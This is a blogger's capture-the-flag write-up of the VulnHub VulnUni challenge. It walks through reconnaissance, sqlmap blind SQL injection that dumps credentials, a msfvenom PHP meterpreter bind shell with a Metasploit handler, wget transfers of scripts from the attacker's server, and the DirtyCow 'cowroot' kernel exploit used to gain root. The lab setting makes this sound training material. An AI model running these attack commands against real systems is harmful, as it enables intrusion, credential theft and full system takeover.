VulnUni CTF Write-Up

Tyler Butler
8 min readMay 13, 2020

Overview

VulnUni is a CTF challenge hosted on VulnHub and created by @emaragkos. It is a boot2root web application challenge that focuses on SQL injection vulnerabilities and linux privilege escalation. To solve this challenge, I used an unauthenticated blind SQL injection vulnerability, a php bind shell upload, and a linux kernel privilege escalation vulnerability. My workstation setup included VMware fusion and the 2020 release of Kali Linux for VMware which can be found on Offensive Securities VM Image Download Page. One interesting aspect of this challenge is the use of a vulnerable E-learning platform from the Greek University Network GUnet.

Getting Started

First, I launched both the VulnUni and Kali Linux virtual machines on the same local network. To identify the ip addresses of my local attack machine and the target, I ran an arp-scan.

root@kali$ arp-scan -I eth1 -l Interface: eth1, type: EN10MB, MAC: 00:50:56:3e:70:2d, IPv4: 192.168.8.131 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.8.1 00:50:56:c0:00:01 VMware, Inc. 192.168.8.132 00:0c:29:bc:43:d1 VMware, Inc. 192.168.8.254 00:50:56:e7:01:af VMware, Inc. 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.991 seconds (128.58 hosts/sec). 3 responded

With the ip address handy, I started a couple quick nmap scans to kick off some basic enumeration to learn more about the target. I used one quick nmap scan to get an idea of what was open as well as a longer scan to check all ports.

root@kali$ nmap -sV -A -O 192.168.8.132 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-08 20:45 EDT Nmap scan report for 192.168.8.132 Host is up (0.00077s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: VulnUni - We train the top Information Security Professionals MAC Address: 00:0C:29:BC:43:D1 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.77 ms 192.168.8.132 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Website Enumeration

With 80 being the only port open, I launched some basic website enumeration tools including dirbuster and OWASP Zap. Dirbuster was used to brute-force directories and OWASP Zap was used to scan for common vulnerabilities. While these were running in the background, I started some manual website inspection to get familiar with the site.

root@kali$ dirbuster root@kali$ zaproxy

Zaproxy did not find any major vulnerabilities, but it did have several interesting listings for under directory browsing (http://192.168.8.132/vulnuni-eclass/info/). These directories were not found by the dirbuster brute force search due to the unique nature of the application.

Navigating to the vulnuni subdirectory, some manual enumeration revealed the application was using version 1.7.2

A quick search through the exploit-db database with the searchsploit command revealed two public exploits for the application, both created by the CTF author. Using the -m options, I downloaded both exploits into the vs code workspace to inspect the vulnerabilities and prepare to use them against the target

root@kali$ searchsploit GUnet --------------- -------------- Exploit Title | Path | (/usr/share/exploitdb/) --------------- -------------- GUnet OpenEclass 1.7.3 E-learning platform | exploits/php/webapps/48163.txt GUnet OpenEclass E-learning platform 1.7.3 | exploits/php/webapps/48106.txt --------------- -------------- Shellcodes: No Result root@kali$ searchsploit -m 48163 root@kali$ searchsploit -m 48106

SQL Injection

The exploit 48106 revealed a ‘uname’ SQL Injection vulnerability fo the GUnet OpenEclass E-learning platform 1.7.3. To exploit the vulnerability, I first needed to capture a failed log-in request on http://192.168.8.132/vulnuni-eclass/ using burp-suite. I launched BurpSuite and configured my browser to handle http requests through a proxy at port 8080. I submitted a log in request using the username “admin” and the password “test”. BurpSuite captured the request, and I used the “send to repeater option” to save the request for editing.

At this point, I encountered a small hiccup. Whenever http requests were sent to the vulnuni web application, the hostname was being resolved as VulnUni.local instead of http://192.168.8.132. This caused the http request to fail. To get around this issue, I needed to manually edit the burp-suite login capture to the ip address instead of the resolved hostname. Next, the exploit instructed me to download the intercepted http request as a file (eclasstestlogin) and load into SQL map with the following command.

root@kali$ sqlmap -r eclasstestlogin -level=5 -risk=3 -v

Using SQL map, I used several different flags to enumerate the vulnuni application. The final sqlmap command dumped the user table, which included usernames and passwords.

root@kali$ sqlmap -r eclasstestlogin -v -current-db root@kali$ sqlmap -r eclasstestlogin -v -D eclass -dump root@kali$ sqlmap -r eclasstestlogin -v -D eclass -T user -dump

Now that I obtained admin credentials from sqlmap, I logged into the application as the administrator. Once again, the http request was being resolved to vulnuni.local. To actually log into the application, I edited the raw request in burp-suite as shown below. After hitting send, I selected the Render” tab on the response, then right clicked and selected to open up in browser.

Next, I navigated over to the other exploit identified earlier in the exploit-db. This exploit titled “GUnet OpenEclass 1.7.3 E-learning platform — ‘month’ SQL Injection” enables authenticated admins to upload reverse php shell files. To exploit this vulnerability, I used msfvenom to create a php meterpreter bind shell on port 4448.

root@kali$ msfvenom -p php/meterpreter/bind_tcp LHOST=192.168.8.130 LPORT=4448 R > bind-meterpreter.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder or badchars specified, outputting raw payload Payload size: 1338 bytes

Before the exploit could be uploaded to the application, it needed to be zipped and compressed. Once zipped, I uploaded it to the vulnuni webserver.

root@kali$ zip bind-meterpreter bind-meterpreter.php adding: bind-meterpreter.php (deflated 62%)

Target Infiltration

With the exploit ready, I started a metasploit session and opened a multi/handler to connect to the bind shell.

root@kali$ msfconsole msf5 > use multi/handler msf5 exploit(multi/handler) > set LHOST 192.168.8.130 LHOST => 192.168.8.130 msf5 exploit(multi/handler) > set RHOST 192.168.8.132 RHOST => 192.168.8.132 msf5 exploit(multi/handler) > set LPORT 4448 LPORT => 4448 msf5 exploit(multi/handler) > set payload php/meterpreter/bind_tcp payload => php/meterpreter/bind_tcp

I set the necessary LPORT, LHOST, RHOST, and payload options. Before I launched the handler, I browsed the payload on the target website to initiate the bind shell. Once the payload loaded, I ran the handler and received the shell.

root@kali$ msf5 > msf5 exploit(multi/handler) > run [*] Started bind TCP handler against 192.168.8.132:4448 [*] Sending stage (38288 bytes) to 192.168.8.132 [*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.8.132:4448) at 2020-05-12 00:43:47 -0400

I spent some time running through meterpreter enumeration scripts to gather more details on the target. Once I gathered enough information, I dropped into a shell to run some linux privilege escalations scripts. Using the shell command, I dropped into a low interactive shell. To upgrade, I ran the following exports and used a simple python script to open up a bash shell.

root@kali$ meterpreter > shell Process 2181 created. Channel 1 created. export TERM=xterm export SHELL=bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin python -c 'import pty;pty.spawn("/bin/bash")' www-data@vulnuni:/root@kali$

With a better shell, I did some manual navigating on the target and came across a flag in the vulnuni/home directory.

www-data@vulnuni$ ls ls Desktop Downloads Pictures Templates examples.desktop Documents Music Public Videos flag.txt www-data@vulnuni:/home/vulnuniwww-data@vulnuni$ cat flag.txt cat flag.txt 68fc668278d9b0d6c3b9dc100bee181e

Next, I opened up a webserver on my Kali linux machine to easily transfer some privilege escalation scripts to the target. I copied these scripts from my redteam-apache-toolkit project to my webserver at /var/www/html . I used wget on the target to transfer the scripts into the /tmp folder. One of the privilege escalation/ enumeration scripts I ran was BeRoot. The output showed that this target was vulnerable to the dirty cow linux kernel privilege escalation exploit.

There are several dirty cow exploits available, each one uses a slightly different method of triggering the exploit. The GitHub wiki pages includes a list of POC’s. I tried a few of these however running the exploit caused the target VM to crash, a common problem experienced when using dirty cow. The best option I found was to use the SUID-based root exploit cowroot. I copied the POC to my machine, compiled it with gcc, and then transferred it to the target with wget.

root@kali$ root@kali:~/Desktop# gcc -pthread cowroot.c -o cowroot cowroot.c: In function 'procselfmemThread': cowroot.c:98:17: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast [-Wint-conversion] 98 | lseek(f,map,SEEK_SET); | ^~~ | | | void * In file included from cowroot.c:27: /usr/include/unistd.h:334:41: note: expected '__off_t' {aka 'long int'} but argument is of type 'void *' 334 | extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW; | ~~~~~~~~^~~~~~~~ cowroot.c: In function 'main': cowroot.c:135:5: warning: implicit declaration of function 'asprintf'; did you mean 'vsprintf'? [-Wimplicit-function-declaration] 135 | asprintf(&backup, "cp %s /tmp/bak", suid_binary); | ^~~~~~~~ | vsprintf cowroot.c:139:5: warning: implicit declaration of function 'fstat' [-Wimplicit-function-declaration] 139 | fstat(f,&st); | ^~~~~

With the exploit on the target machine, I made it executable with chmod and executed it. The dirty cow exploit upgraded my limited www-data shell to a full root shell. I quickly read the flag in the root directory with cat.

root@kali$ msf > meterpreter > shell Process 2241 created. Channel 0 created. export TERM=xterm export SHELL=bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin python -c 'import pty;pty.spawn("/bin/bash")' www-data@vulnuni:/var/www/vulnuni-eclass/courses/tmpUnzippingroot@kali$ ./cowroot ./cowroot DirtyCow root privilege escalation Backing up /usr/bin/passwd to /tmp/bak Size of binary: 42824 Racing, this may take a while.. /usr/bin/passwd overwritten Popping root shell. Don't forget to restore /tmp/bak thread stopped thread stopped root@vulnuni:/var/www/vulnuni-eclass/courses/tmpUnzipping# cat /root/flag.txt cat /root/flag.txt ff19f8d0692fe20f8af33a3bfa6635dd root@vulnuni:/var/www/vulnuni-eclass/courses/tmpUnzipping# whoami whoami root root@vulnuni:/var/www/vulnuni-eclass/courses/tmpUnzipping# id id uid=0(root) gid=33(www-data) groups=0(root),33(www-data) root@vulnuni:/var/www/vulnuni-eclass/courses/tmpUnzipping#

Overall this was a good CTF challenge and taught me a little more about linux kernel privilege escalation exploits. Not all dirty cow exploits are the same, and many can cause virtual linux machines to crash. Additionally, the authors personal infosec blog is a good read and can be found at https://emaragkos.gr.

Originally published at https://tylerbutler.io on May 13, 2020.

--

--

Tyler Butler

🎓 M.A. Candidate @GeorgetownCSS Tech/Security/Eastern Europe | Adversary Simulation and Penetration Testing @Deloitte | 🥍 @PennStateMLax Alum